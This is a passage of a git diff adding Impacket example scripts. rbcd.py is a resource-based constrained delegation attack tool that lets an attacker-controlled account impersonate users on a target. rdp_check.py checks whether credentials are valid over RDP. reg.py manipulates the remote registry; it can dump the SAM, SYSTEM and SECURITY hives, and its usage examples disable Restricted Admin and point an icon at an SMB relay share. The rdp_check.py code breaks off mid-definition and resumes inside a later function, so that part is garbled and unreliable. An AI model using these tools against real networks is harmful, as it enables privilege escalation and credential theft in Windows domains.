seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = domain + seq_set(authenticator, 'cname', userName.components_to_asn1) + now = datetime.datetime.utcnow() + + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 11 + # AP-REQ Authenticator (includes application authenticator + # subkey), encrypted with the application session key + # (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + blob['MechToken'] = encoder.encode(apReq) + + request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', + blob.getData()) + + # Done with the Kerberos saga, now let's get into LDAP + if connection.closed: # try to open connection if closed + connection.open(read_server_info=False) + + connection.sasl_in_progress = True + response = connection.post_send_single_response(connection.send('bindRequest', request, None)) + connection.sasl_in_progress = False + if response[0]['result'] != 0: + raise Exception(response) + + connection.bound = True + + return True + + +def create_empty_sd(): + sd = ldaptypes.SR_SECURITY_DESCRIPTOR() + sd['Revision'] = b'\x01' + sd['Sbz1'] = b'\x00' + sd['Control'] = 32772 + sd['OwnerSid'] = ldaptypes.LDAP_SID() + # BUILTIN\Administrators + sd['OwnerSid'].fromCanonical('S-1-5-32-544') + sd['GroupSid'] = b'' + sd['Sacl'] = b'' + acl = ldaptypes.ACL() + acl['AclRevision'] = 4 + acl['Sbz1'] = 0 + acl['Sbz2'] = 0 + acl.aces = [] + sd['Dacl'] = acl + return sd + + +# Create an ALLOW ACE with the specified sid +def create_allow_ace(sid): + nace = ldaptypes.ACE() + nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE + nace['AceFlags'] = 0x00 + acedata = ldaptypes.ACCESS_ALLOWED_ACE() + acedata['Mask'] = ldaptypes.ACCESS_MASK() + acedata['Mask']['Mask'] = 983551 # Full control + acedata['Sid'] = ldaptypes.LDAP_SID() + acedata['Sid'].fromCanonical(sid) + nace['Ace'] = acedata + return nace + + +class RBCD(object): + """docstring for setrbcd""" + + def __init__(self, ldap_server, ldap_session, delegate_to): + super(RBCD, self).__init__() + self.ldap_server = ldap_server + self.ldap_session = ldap_session + self.delegate_from = None + self.delegate_to = delegate_to + self.SID_delegate_from = None + self.DN_delegate_to = None + logging.debug('Initializing domainDumper()') + cnf = ldapdomaindump.domainDumpConfig() + cnf.basepath = None + self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) + + def read(self): + # Get target computer DN + result = self.get_user_info(self.delegate_to) + if not result: + logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)') + return + self.DN_delegate_to = result[0] + + # Get list of allowed to act + self.get_allowed_to_act() + + return + + def write(self, delegate_from): + self.delegate_from = delegate_from + + # Get escalate user sid + result = self.get_user_info(self.delegate_from) + if not result: + logging.error('Account to escalate does not exist! (forgot "$" for a computer account? wrong domain?)') + return + self.SID_delegate_from = str(result[1]) + + # Get target computer DN + result = self.get_user_info(self.delegate_to) + if not result: + logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)') + return + self.DN_delegate_to = result[0] + + # Get list of allowed to act and build security descriptor including previous data + sd, targetuser = self.get_allowed_to_act() + + # writing only if SID not already in list + if self.SID_delegate_from not in [ ace['Ace']['Sid'].formatCanonical() for ace in sd['Dacl'].aces ]: + sd['Dacl'].aces.append(create_allow_ace(self.SID_delegate_from)) + self.ldap_session.modify(targetuser['dn'], + {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, + [sd.getData()]]}) + if self.ldap_session.result['result'] == 0: + logging.info('Delegation rights modified successfully!') + logging.info('%s can now impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to) + else: + if self.ldap_session.result['result'] == 50: + logging.error('Could not modify object, the server reports insufficient rights: %s', + self.ldap_session.result['message']) + elif self.ldap_session.result['result'] == 19: + logging.error('Could not modify object, the server reports a constrained violation: %s', + self.ldap_session.result['message']) + else: + logging.error('The server returned an error: %s', self.ldap_session.result['message']) + else: + logging.info('%s can already impersonate users on %s via S4U2Proxy', self.delegate_from, self.delegate_to) + logging.info('Not modifying the delegation rights.') + # Get list of allowed to act + self.get_allowed_to_act() + return + + def remove(self, delegate_from): + self.delegate_from = delegate_from + + # Get escalate user sid + result = self.get_user_info(self.delegate_from) + if not result: + logging.error('Account to escalate does not exist! (forgot "$" for a computer account? wrong domain?)') + return + self.SID_delegate_from = str(result[1]) + + # Get target computer DN + result = self.get_user_info(self.delegate_to) + if not result: + logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)') + return + self.DN_delegate_to = result[0] + + # Get list of allowed to act and build security descriptor including that data + sd, targetuser = self.get_allowed_to_act() + + # Remove the entries where SID match the given -delegate-from + sd['Dacl'].aces = [ace for ace in sd['Dacl'].aces if self.SID_delegate_from != ace['Ace']['Sid'].formatCanonical()] + self.ldap_session.modify(targetuser['dn'], + {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, [sd.getData()]]}) + + if self.ldap_session.result['result'] == 0: + logging.info('Delegation rights modified successfully!') + else: + if self.ldap_session.result['result'] == 50: + logging.error('Could not modify object, the server reports insufficient rights: %s', + self.ldap_session.result['message']) + elif self.ldap_session.result['result'] == 19: + logging.error('Could not modify object, the server reports a constrained violation: %s', + self.ldap_session.result['message']) + else: + logging.error('The server returned an error: %s', self.ldap_session.result['message']) + # Get list of allowed to act + self.get_allowed_to_act() + return + + def flush(self): + # Get target computer DN + result = self.get_user_info(self.delegate_to) + if not result: + logging.error('Account to modify does not exist! (forgot "$" for a computer account? wrong domain?)') + return + self.DN_delegate_to = result[0] + + # Get list of allowed to act + sd, targetuser = self.get_allowed_to_act() + + self.ldap_session.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity': [ldap3.MODIFY_REPLACE, []]}) + if self.ldap_session.result['result'] == 0: + logging.info('Delegation rights flushed successfully!') + else: + if self.ldap_session.result['result'] == 50: + logging.error('Could not modify object, the server reports insufficient rights: %s', + self.ldap_session.result['message']) + elif self.ldap_session.result['result'] == 19: + logging.error('Could not modify object, the server reports a constrained violation: %s', + self.ldap_session.result['message']) + else: + logging.error('The server returned an error: %s', self.ldap_session.result['message']) + # Get list of allowed to act + self.get_allowed_to_act() + return + + def get_allowed_to_act(self): + # Get target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute + self.ldap_session.search(self.DN_delegate_to, '(objectClass=*)', search_scope=ldap3.BASE, + attributes=['SAMAccountName', 'objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) + targetuser = None + for entry in self.ldap_session.response: + if entry['type'] != 'searchResEntry': + continue + targetuser = entry + if not targetuser: + logging.error('Could not query target user properties') + return + + try: + sd = ldaptypes.SR_SECURITY_DESCRIPTOR( + data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) + if len(sd['Dacl'].aces) > 0: + logging.info('Accounts allowed to act on behalf of other identity:') + for ace in sd['Dacl'].aces: + SID = ace['Ace']['Sid'].formatCanonical() + SamAccountName = self.get_sid_info(ace['Ace']['Sid'].formatCanonical())[1] + logging.info(' %-10s (%s)' % (SamAccountName, SID)) + else: + logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty') + except IndexError: + logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty') + # Create DACL manually + sd = create_empty_sd() + return sd, targetuser + + def get_user_info(self, samname): + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) + try: + dn = self.ldap_session.entries[0].entry_dn + sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + return dn, sid + except IndexError: + logging.error('User not found in LDAP: %s' % samname) + return False + + def get_sid_info(self, sid): + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % escape_filter_chars(sid), attributes=['samaccountname']) + try: + dn = self.ldap_session.entries[0].entry_dn + samname = self.ldap_session.entries[0]['samaccountname'] + return dn, samname + except IndexError: + logging.error('SID not found in LDAP: %s' % sid) + return False + +def parse_args(): + parser = argparse.ArgumentParser(add_help=True, + description='Python (re)setter for property msDS-AllowedToActOnBehalfOfOtherIdentity for Kerberos RBCD attacks.') + parser.add_argument('identity', action='store', help='domain.local/username[:password]') + parser.add_argument("-delegate-to", type=str, required=True, + help="Target account the DACL is to be read/edited/etc.") + parser.add_argument("-delegate-from", type=str, required=False, + help="Attacker controlled account to write on the rbcd property of -delegate-to (only when using `-action write`)") + parser.add_argument('-action', choices=['read', 'write', 'remove', 'flush'], nargs='?', default='read', + help='Action to operate on msDS-AllowedToActOnBehalfOfOtherIdentity') + + parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') + + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", + help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If ' + 'omitted it will use the domain part (FQDN) specified in ' + 'the identity parameter') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + return parser.parse_args() + + +def parse_identity(args): + domain, username, password = utils.parse_credentials(args.identity) + + if domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: + from getpass import getpass + logging.info("No credentials supplied, supply password") + password = getpass("Password:") + + if args.aesKey is not None: + args.k = True + + if args.hashes is not None: + lmhash, nthash = args.hashes.split(':') + else: + lmhash = '' + nthash = '' + + return domain, username, password, lmhash, nthash + + +def init_logger(args): + # Init the example's logger theme and debug level + logger.init(args.ts) + if args.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + + +def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): + user = '%s\\%s' % (domain, username) + if tls_version is not None: + use_ssl = True + port = 636 + tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) + else: + use_ssl = False + port = 389 + tls = None + ldap_server = ldap3.Server(target, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) + if args.k: + ldap_session = ldap3.Connection(ldap_server) + ldap_session.bind() + ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip) + elif args.hashes is not None: + ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) + else: + ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True) + + return ldap_server, ldap_session + + +def init_ldap_session(args, domain, username, password, lmhash, nthash): + if args.k: + target = get_machine_name(args, domain) + else: + if args.dc_ip is not None: + target = args.dc_ip + else: + target = domain + + if args.use_ldaps is True: + try: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash) + except ldap3.core.exceptions.LDAPSocketOpenError: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash) + else: + return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash) + + +def main(): + print(version.BANNER) + args = parse_args() + init_logger(args) + + if args.action == 'write' and args.delegate_from is None: + logging.critical('`-delegate-from` should be specified when using `-action write` !') + sys.exit(1) + + domain, username, password, lmhash, nthash = parse_identity(args) + if len(nthash) > 0 and lmhash == "": + lmhash = "aad3b435b51404eeaad3b435b51404ee" + + try: + ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) + rbcd = RBCD(ldap_server, ldap_session, args.delegate_to) + if args.action == 'read': + rbcd.read() + elif args.action == 'write': + rbcd.write(args.delegate_from) + elif args.action == 'remove': + rbcd.remove(args.delegate_from) + elif args.action == 'flush': + rbcd.flush() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + traceback.print_exc() + logging.error(str(e)) + + +if __name__ == '__main__': + main() diff --git a/examples/rdp_check.py b/examples/rdp_check.py new file mode 100644 index 0000000..ac19548 --- /dev/null +++ b/examples/rdp_check.py @@ -0,0 +1,574 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# [MS-RDPBCGR] and [MS-CREDSSP] partial implementation +# just to reach CredSSP auth. This example test whether +# an account is valid on the target host. +# +# Author: +# Alberto Solino (@agsolino) +# +# ToDo: +# [x] Manage to grab the server's SSL key so we can finalize the whole +# authentication process (check [MS-CSSP] section 3.1.5) +# + +from struct import pack, unpack + +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket.structure import Structure +from impacket.spnego import GSSAPI, ASN1_SEQUENCE, ASN1_OCTET_STRING, asn1decode, asn1encode + +TDPU_CONNECTION_REQUEST = 0xe0 +TPDU_CONNECTION_CONFIRM = 0xd0 +TDPU_DATA = 0xf0 +TPDU_REJECT = 0x50 +TPDU_DATA_ACK = 0x60 + +# RDP_NEG_REQ constants +TYPE_RDP_NEG_REQ = 1 +PROTOCOL_RDP = 0 +PROTOCOL_SSL = 1 +PROTOCOL_HYBRID = 2 + +# RDP_NEG_RSP constants +TYPE_RDP_NEG_RSP = 2 +EXTENDED_CLIENT_DATA_SUPPORTED = 1 +DYNVC_GFX_PROTOCOL_SUPPORTED = 2 + +# RDP_NEG_FAILURE constants +TYPE_RDP_NEG_FAILURE = 3 +SSL_REQUIRED_BY_SERVER = 1 +SSL_NOT_ALLOWED_BY_SERVER = 2 +SSL_CERT_NOT_ON_SERVER = 3 +INCONSISTENT_FLAGS = 4 +HYBRID_REQUIRED_BY_SERVER = 5 +SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER = 6 + +class TPKT(Structure): + commonHdr = ( + ('Version','B=3'), + ('Reserved','B=0'), + ('Length','>H=len(TPDU)+4'), + ('_TPDU','_-TPDU','self["Length"]-4'), + ('TPDU',':=""'), + ) + +class TPDU(Structure): + commonHdr = ( + ('LengthIndicator','B=len(VariablePart)+1'), + ('Code','B=0'), + ('VariablePart',':=""'), + ) + + def __init__(self, data = None): + Structure.__init__(self,data) + self['VariablePart']='' + +class CR_TPDU(Structure): + commonHdr = ( + ('DST-REF',' + # + # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted + # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth + # field is omitted by the client unless the client is sending the last SPNEGO token. + # If the client is sending the last SPNEGO token, the TSRequest structure MUST have + # both the negoToken and the pubKeyAuth fields filled in. + + # NTLMSSP stuff + auth = ntlm.getNTLMSSPType1('','',True, use_ntlmv2 = True) + + ts_request = TSRequest() + ts_request['NegoData'] = auth.getData() + + tls.send(ts_request.getData()) + buff = tls.recv(4096) + ts_request.fromString(buff) + + # 3. The client encrypts the public key it received from the server (contained + # in the X.509 certificate) in the TLS handshake from step 1, by using the + # confidentiality support of SPNEGO. The public key that is encrypted is the + # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509 + # certificate, as specified in [RFC3280] section 4.1. The encrypted key is + # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over + # the TLS channel to the server. + # + # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted + # from the TSRequest structure; the client MUST send its last SPNEGO token to the + # server in the negoTokens field (see step 2) along with the encrypted public key + # in the pubKeyAuth field. + + # Last SPNEGO token calculation + #ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData']) + type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, ts_request['NegoData'], username, password, domain, lmhash, nthash, use_ntlmv2 = True) + + # Get server public key + server_cert = tls.get_peer_certificate() + pkey = server_cert.get_pubkey() + dump = crypto.dump_publickey(crypto.FILETYPE_ASN1, pkey) + # Parsing the key from ASN1 encoded + dump = dump[24:] + + cipher = SPNEGOCipher(type3['flags'], exportedSessionKey) + signature, cripted_key = cipher.encrypt(dump) + ts_request['NegoData'] = type3.getData() + ts_request['pubKeyAuth'] = signature.getData() + cripted_key + + try: + # Sending the Type 3 NTLM blob + tls.send(ts_request.getData()) + # The other end is waiting for the pubKeyAuth field, but looks like it's + # not needed to check whether authentication worked. + # If auth is unsuccessful, it throws an exception with the previous send(). + # If auth is successful, the server waits for the pubKeyAuth and doesn't answer + # anything. So, I'm sending garbage so the server returns an error. + # Luckily, it's a different error so we can determine whether or not auth worked ;) + buff = tls.recv(1024) + except Exception as err: + if str(err).find("denied") > 0: + logging.error("Access Denied") + else: + logging.error(err) + return + + # 4. After the server receives the public key in step 3, it first verifies that + # it has the same public key that it used as part of the TLS handshake in step 1. + # The server then adds 1 to the first byte representing the public key (the ASN.1 + # structure corresponding to the SubjectPublicKey field, as described in step 3) + # and encrypts the binary result by using the SPNEGO encryption services. + # Due to the addition of 1 to the binary data, and encryption of the data as a binary + # structure, the resulting value may not be valid ASN.1-encoded values. + # The encrypted binary data is encapsulated in the pubKeyAuth field of the TSRequest + # structure and is sent over the encrypted TLS channel to the client. + # The addition of 1 to the first byte of the public key is performed so that the + # client-generated pubKeyAuth message cannot be replayed back to the client by an + # attacker. + # + # Note During this phase of the protocol, the OPTIONAL authInfo and negoTokens + # fields are omitted from the TSRequest structure. + + ts_request = TSRequest(buff) + + # Now we're decrypting the certificate + 1 sent by the server. Not worth checking ;) + signature, plain_text = cipher.decrypt(ts_request['pubKeyAuth'][16:]) + + # 5. After the client successfully verifies server authenticity by performing a + # binary comparison of the data from step 4 to that of the data representing + # the public key from the server's X.509 certificate (as specified in [RFC3280], + # section 4.1), it encrypts the user's credentials (either password or smart card + # PIN) by using the SPNEGO encryption services. The resulting value is + # encapsulated in the authInfo field of the TSRequest structure and sent over + # the encrypted TLS channel to the server. + # The TSCredentials structure within the authInfo field of the TSRequest + # structure MAY contain either a TSPasswordCreds or a TSSmartCardCreds structure, + # but MUST NOT contain both. + # + # Note During this phase of the protocol, the OPTIONAL pubKeyAuth and negoTokens + # fields are omitted from the TSRequest structure. + tsp = TSPasswordCreds() + tsp['domainName'] = domain + tsp['userName'] = username + tsp['password'] = password + tsc = TSCredentials() + tsc['credType'] = 1 # TSPasswordCreds + tsc['credentials'] = tsp.getData() + + signature, cripted_creds = cipher.encrypt(tsc.getData()) + ts_request = TSRequest() + ts_request['authInfo'] = signature.getData() + cripted_creds + tls.send(ts_request.getData()) + tls.close() + logging.info("Access Granted") + + # Init the example's logger theme + logger.init() + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help = True, description = "Test whether an account is valid on the target " + "host using the RDP protocol.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + domain, username, password, address = parse_target(options.target) + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None: + from getpass import getpass + password = getpass("Password:") + + check_rdp(address, username, password, domain, options.hashes) diff --git a/examples/reg.py b/examples/reg.py new file mode 100644 index 0000000..1047dc4 --- /dev/null +++ b/examples/reg.py @@ -0,0 +1,652 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Remote registry manipulation tool. +# The idea is to provide similar functionality as the REG.EXE Windows utility. +# +# e.g: +# ./reg.py Administrator:password@targetMachine query -keyName HKLM\\Software\\Microsoft\\WBEM -s +# ./reg.py Administrator:password@targetMachine add -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa -v DisableRestrictedAdmin -vt REG_DWORD -vd 1 +# ./reg.py Administrator:password@targetMachine add -keyName HKLM\\SYSTEM\\CurrentControlSet\\Services\\NewService +# ./reg.py Administrator:password@targetMachine add -keyName HKCR\\hlpfile\\DefaultIcon -v '' -vd '\\SMBRelay\share' +# ./reg.py Administrator:password@targetMachine delete -keyName HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa -v DisableRestrictedAdmin +# +# Author: +# Manuel Porto (@manuporto) +# Alberto Solino (@agsolino) +# +# Reference for: +# [MS-RRP] +# + +from __future__ import division +from __future__ import print_function +import argparse +import codecs +import logging +import sys +import time +from struct import unpack + +from impacket import version +from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket.system_errors import ERROR_NO_MORE_ITEMS +from impacket.structure import hexdump +from impacket.smbconnection import SMBConnection +from impacket.dcerpc.v5.dtypes import READ_CONTROL + + +class RemoteOperations: + def __init__(self, smbConnection, doKerberos, kdcHost=None): + self.__smbConnection = smbConnection + self.__smbConnection.setTimeout(5 * 60) + self.__serviceName = 'RemoteRegistry' + self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]' + self.__rrp = None + self.__regHandle = None + + self.__doKerberos = doKerberos + self.__kdcHost = kdcHost + + self.__disabled = False + self.__shouldStop = False + self.__started = False + + self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]' + self.__scmr = None + + def getRRP(self): + return self.__rrp + + def __connectSvcCtl(self): + rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl) + rpc.set_smb_connection(self.__smbConnection) + self.__scmr = rpc.get_dce_rpc() + self.__scmr.connect() + self.__scmr.bind(scmr.MSRPC_UUID_SCMR) + + def connectWinReg(self): + rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) + rpc.set_smb_connection(self.__smbConnection) + self.__rrp = rpc.get_dce_rpc() + self.__rrp.connect() + self.__rrp.bind(rrp.MSRPC_UUID_RRP) + + def __checkServiceStatus(self): + # Open SC Manager + ans = scmr.hROpenSCManagerW(self.__scmr) + self.__scManagerHandle = ans['lpScHandle'] + # Now let's open the service + ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName) + self.__serviceHandle = ans['lpServiceHandle'] + # Let's check its status + ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle) + if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: + logging.info('Service %s is in stopped state' % self.__serviceName) + self.__shouldStop = True + self.__started = False + elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: + logging.debug('Service %s is already running' % self.__serviceName) + self.__shouldStop = False + self.__started = True + else: + raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState']) + + # Let's check its configuration if service is stopped, maybe it's disabled :s + if self.__started is False: + ans = scmr.hRQueryServiceConfigW(self.__scmr, self.__serviceHandle) + if ans['lpServiceConfig']['dwStartType'] == 0x4: + logging.info('Service %s is disabled, enabling it' % self.__serviceName) + self.__disabled = True + scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType=0x3) + logging.info('Starting service %s' % self.__serviceName) + scmr.hRStartServiceW(self.__scmr, self.__serviceHandle) + time.sleep(1) + + def enableRegistry(self): + self.__connectSvcCtl() + self.__checkServiceStatus() + self.connectWinReg() + + def __restore(self): + # First of all stop the service if it was originally stopped + if self.__shouldStop is True: + logging.info('Stopping service %s' % self.__serviceName) + scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) + if self.__disabled is True: + logging.info('Restoring the disabled state for service %s' % self.__serviceName) + scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType=0x4) + + def finish(self): + self.__restore() + if self.__rrp is not None: + self.__rrp.disconnect() + if self.__scmr is not None: + self.__scmr.disconnect() + + +class RegHandler: + def __init__(self, username, password, domain, options): + self.__username = username + self.__password = password + self.__domain = domain + self.__options = options + self.__action = options.action.upper() + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = options.aesKey + self.__doKerberos = options.k + self.__kdcHost = options.dc_ip + self.__smbConnection = None + self.__remoteOps = None + + # It's possible that this is defined somewhere, but I couldn't find where + self.__regValues = {0: 'REG_NONE', 1: 'REG_SZ', 2: 'REG_EXPAND_SZ', 3: 'REG_BINARY', 4: 'REG_DWORD', + 5: 'REG_DWORD_BIG_ENDIAN', 6: 'REG_LINK', 7: 'REG_MULTI_SZ', 11: 'REG_QWORD'} + + if options.hashes is not None: + self.__lmhash, self.__nthash = options.hashes.split(':') + + def connect(self, remoteName, remoteHost): + self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port)) + + if self.__doKerberos: + self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, + self.__nthash, self.__aesKey, self.__kdcHost) + else: + self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + + def run(self, remoteName, remoteHost): + self.connect(remoteName, remoteHost) + self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) + + try: + self.__remoteOps.enableRegistry() + except Exception as e: + logging.debug(str(e)) + logging.warning('Cannot check RemoteRegistry status. Hoping it is started...') + self.__remoteOps.connectWinReg() + + try: + dce = self.__remoteOps.getRRP() + + if self.__action == 'QUERY': + self.query(dce, self.__options.keyName) + elif self.__action == 'ADD': + self.add(dce, self.__options.keyName) + elif self.__action == 'DELETE': + self.delete(dce, self.__options.keyName) + elif self.__action == 'SAVE': + self.save(dce, self.__options.keyName) + elif self.__action == 'BACKUP': + for hive in ["HKLM\SAM", "HKLM\SYSTEM", "HKLM\SECURITY"]: + self.save(dce, hive) + else: + logging.error('Method %s not implemented yet!' % self.__action) + except (Exception, KeyboardInterrupt) as e: + #import traceback + #traceback.print_exc() + logging.critical(str(e)) + finally: + if self.__remoteOps: + self.__remoteOps.finish() + + def save(self, dce, keyName): + hRootKey, subKey = self.__strip_root_key(dce, keyName) + outputFileName = "%s\%s.save" % (self.__options.outputPath, subKey) + logging.debug("Dumping %s, be patient it can take a while for large hives (e.g. HKLM\SYSTEM)" % keyName) + try: + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ) + rrp.hBaseRegSaveKey(dce, ans2['phkResult'], outputFileName) + logging.info("Saved %s to %s" % (keyName, outputFileName)) + except Exception as e: + logging.error("Couldn't save %s: %s" % (keyName, e)) + + def query(self, dce, keyName): + hRootKey, subKey = self.__strip_root_key(dce, keyName) + + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, + samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) + + if self.__options.v: + print(keyName) + value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], self.__options.v) + print('\t' + self.__options.v + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1])) + elif self.__options.ve: + print(keyName) + value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], '') + print('\t' + '(Default)' + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1])) + elif self.__options.s: + self.__print_all_subkeys_and_entries(dce, subKey + '\\', ans2['phkResult'], 0) + else: + print(keyName) + self.__print_key_values(dce, ans2['phkResult']) + i = 0 + while True: + try: + key = rrp.hBaseRegEnumKey(dce, ans2['phkResult'], i) + print(keyName + '\\' + key['lpNameOut'][:-1]) + i += 1 + except Exception: + break + # ans5 = rrp.hBaseRegGetVersion(rpc, ans2['phkResult']) + # ans3 = rrp.hBaseRegEnumKey(rpc, ans2['phkResult'], 0) + + def add(self, dce, keyName): + hRootKey, subKey = self.__strip_root_key(dce, keyName) + + # READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY should be equal to KEY_WRITE (0x20006) + if self.__options.v is None: # Try to create subkey + subKeyCreate = subKey + subKey = '\\'.join(subKey.split('\\')[:-1]) + + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, + samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) + + # Should I use ans2? + + ans3 = rrp.hBaseRegCreateKey( + dce, hRootKey, subKeyCreate, + samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY + ) + if ans3['ErrorCode'] == 0: + print('Successfully set subkey %s' % ( + keyName + )) + else: + print('Error 0x%08x while creating subkey %s' % ( + ans3['ErrorCode'], keyName + )) + + else: # Try to set value of key + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, + 